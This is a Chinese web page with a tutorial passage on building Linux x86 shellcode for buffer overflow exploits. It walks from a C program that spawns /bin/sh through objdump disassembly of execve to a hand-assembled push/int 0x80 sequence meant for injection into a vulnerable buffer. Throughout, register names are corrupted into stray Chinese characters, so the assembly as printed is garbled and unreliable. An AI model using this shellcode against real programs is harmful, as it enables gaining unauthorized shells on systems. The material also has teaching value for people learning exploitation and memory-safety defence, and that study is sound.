当前位置: 代码网 > 服务器>网络安全>加密解密 > 缓冲区溢出的解密方法

缓冲区溢出的解密方法

2008年10月08日 加密解密 我要评论
缓冲区溢出的解密方法 如何执行 /bin/sh? 在C中,spawn出一个shell的代码可能象这样: shell.c : #include void main() { char *shell[2]; shell[0] = "/bin/s... 08-10-08
如何执行 /bin/sh?

在c中,spawn出一个shell的代码可能象这样:

shell.c :

#include

void main()

{

char *shell[2];

shell[0] = "/bin/sh";

shell[1] = null;

execve(shell[0], shell, null);

}

[murat@victim murat]$ make shell

cc -w -wall -pedantic -g shell.c -o shell

[murat@victim murat]$ ./shell

bash$

如果你看execve的man说明页($man 2 execve),你将看到execve要求一个将要执行的文件名的指针,一个null终止的参数数组,和一个可以为null的环境指针。如果你编译运行了这个输出的二进制文件,你将看到你spawn出了一个新的shell。

目前为止一切顺利……但是我们不能用这种方式spawn出一个shell,是吗?我们如何能用这种方式把这个代码放到漏洞程序里去呢?我们不能!

这给我们造成了一个新问题:我们如何能把我们的攻击代码传给漏洞程序?我们将需要在易受攻击的缓冲区传递我们的代码,它很有可能是一段shell代码。为了实现这个目标,我们必须能够把我们的shell代码用一个字符串表示。

因此,我们将列出所有的来spawn出一个shell的汇编指令,得到它们的运算码,把它们一个一个列出来,然后把它们作为一个shell生成串组装起来。

首先,让我们看看上面的代码(shell.c)在汇编中是什么样子。让我们静态编译程序(这个方法,execve系统调用也将被反汇编)然后看:

[murat@victim murat]$ gcc -static -g -o shell shell.c

[murat@victim murat]$ objdump -d shell | grep \: -a 12

0804ca10 :

804ca10: 53 pushl 離

804ca11: 8b 54 24 10 movl 0x10(%esp,1),韝

804ca15: 8b 4c 24 0c movl 0xc(%esp,1),靫

804ca19: 8b 5c 24 08 movl 0x8(%esp,1),離

804ca1d: b8 0b 00 00 00 movl $0xb,陎

804ca22: cd 80 int $0x80

804ca24: 5b popl 離

804ca25: 3d 01 f0 ff ff cmpl $0xfffff001,陎

804ca2a: 0f 83 00 02 00 jae 804cc30

804ca2f: 00

804ca30: c3 ret

804ca31: 90 nop

[murat@victim murat]$

让我们一步一步地分析这个系统调用:

记住,在我们的main()函数里,我们写了代码:

execve(shell[0], shell, null)

我们传递了:

·字符串”/bin/sh”的地址

·null结尾数组的地址

·null(实际上它是环境地址)

此处,在main里面:

[murat@victim murat]$ objdump -d shell | grep \: -a 17

08048124 :

8048124: 55 pushl 雙

8048125: 89 e5 movl %esp,雙

8048127: 83 ec 08 subl $0x8,%esp

804812a: c7 45 f8 ac 92 movl $0x80592ac,0xfffffff8(雙)

804812f: 05 08

8048131: c7 45 fc 00 00 movl $0x0,0xfffffffc(雙)

8048136: 00 00

8048138: 6a 00 pushl $0x0

804813a: 8d 45 f8 leal 0xfffffff8(雙),陎

804813d: 50 pushl 陎

804813e: 8b 45 f8 movl 0xfffffff8(雙),陎

8048141: 50 pushl 陎

8048142: e8 c9 48 00 00 call 804ca10

8048147: 83 c4 0c addl $0xc,%esp

804814a: c9 leave

804814b: c3 ret

804814c: 90 nop

在调用execve(call 804ca10 )之前,我们反序把这些参数推入到堆栈中。

因此,如果我们回到__execve:

我们拷贝null字节到edx寄存器,

804ca11: 8b 54 24 10 movl 0x10(%esp,1),韝

我们拷贝以null结尾数组的地址到ecx寄存器,

804ca15: 8b 4c 24 0c movl 0xc(%esp,1),靫

我们拷贝字符串"/bin/sh"的地址到ebx寄存器

804ca19: 8b 5c 24 08 movl 0x8(%esp,1),離

我们为execve拷贝系统索引,即11(oxb)到eax寄存器:

804ca1d: b8 0b 00 00 00 movl $0xb,陎

接着变成核模式:

804ca22: cd 80 int $0x80

我们需要的全部就是这么多了。然而,这里还有一些问题。我们不能准确地知道null结束数组和”/bin/sh”字符串的地址。那么,这个怎么样?:

xorl 陎, 陎

pushl 陎

pushl $0x68732f2f

pushl $0x6e69622f

movl %esp,離

pushl 陎

pushl 離

movl %esp,靫

cdql

movb $0x0b,%al

int $0x80

让我解释一下上面的指令:

如果你进行自身异或,你得到0,等同于null。这里,我们在eax寄存器中得到一个null。

xorl 陎, 陎

接着我们把null推入堆栈:

pushl 陎

我们把字符串”//sh”推入堆栈,

2f is /

2f is /

73 is s

68 is h

pushl $0x68732f2f

我们把字符串”/bin”推入堆栈:

2f is /

62 is b

69 is i

6e is n

pushl $0x6e69622f

可以猜想,现在堆栈指针地址就象我们的null结尾字符串”/bin/sh”的地址。因为,从指向栈顶的指针开始,我们有了一个null结尾的字符串数组。因此,我们拷贝堆栈指针到ebx寄存器。这样,我们就已经把”/bin/sh”的地址放到ebx寄存器中了。

movl %esp,離

接着我们需要用null结尾的数组地址设置ecx。为此,我们在我们的堆栈中创造了一个null结尾的数组,与上面那个很像:首先我们push一个null。我们不能push null,但是我们能push值为null的东西,回顾我们异或eax寄存器在那我们得到了null,因此让我们push eax来在堆栈中得到一个null。

pushl 陎

接着,我们push我们的字符串的地址到堆栈,这等同于shell[0]:

pushl 離

现在我们有一个null结尾数组的指针,我们能够在ecx中保存它的地址:

movl %esp,靫

我们还需要其它什么呢?一个在edx寄存器中的null。我们能movl 陎, 韝,但是我们能用一个短的指令完成这个操作:cdq。这个指令是把eax中的符号位扩展到edx。:

cdql

我们设定eax 为0xb,这是系统调用表中的系统调用id。

movb $0x0b,%al

接着,我们转换到核模式:

int 0x80

之后,我们进到核模式,内核将调用exec函数执行我们指示给它的:/bin/sh 这样我们将进入一个交互shell……
(0)

相关文章:

  • 恢复MySQL密码笔记

    恢复MySQL密码笔记

    恢复MySQL密码笔记 因为MySQL密码存储于数据库mysql中的user表中所以只需要将我windows 2003下的MySQL中的user表拷贝过来覆盖... [阅读全文]
  • Radmin密码破解新招

    Radmin密码破解新招

    Radmin密码破解新招 Radmin 是一款很不错的服务器管理无论是 远程桌面控制 还是 文件传输 速度都很快 很方便 这样也形成了 很多服务器都装了 ra... [阅读全文]
  • 验证码破解技术

    验证码破解技术

    验证码破解技术 所谓验证码,就是将一串随机产生的数字或符号,生成一幅图片,图片里加上一些干扰象素(防止OCR),由用户肉眼识别其中的验证码信息, 输入表单提交... [阅读全文]
  • 黑客破解常用电脑密码实用技巧

    黑客破解常用电脑密码实用技巧

    黑客破解常用电脑密码实用技巧 网管员在维护和使用电脑时,经常会遇到各种密码丢失的问题,这里,我们就为广大网管员准备了一些破解密码的方法,但是希望大家不要干坏事... [阅读全文]
  • 软件破解技术-注册机和补丁制作

    软件破解技术-注册机和补丁制作

    软件破解技术-注册机和补丁制作 概念介绍  何为注册机?注册机就是针对某一软件,通过一定算法算出注册码的程序。我们写注册机时,一般都要了解注册码的... [阅读全文]
  • 教你一招 巧用U盘破除管理员密码

    教你一招 巧用U盘破除管理员密码

    教你一招 巧用U盘破除管理员密码 有许多朋友还在为忘记XP登陆密码不能进入系统而烦恼,笔者现在将给用户介绍一个小方法,解决忘记密码给你带来的烦恼&hellip... [阅读全文]

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论

验证码:
Copyright © 2017-2025  代码网 保留所有权利. 粤ICP备2024248653号
站长QQ:2386932994 | 联系邮箱:2386932994@qq.com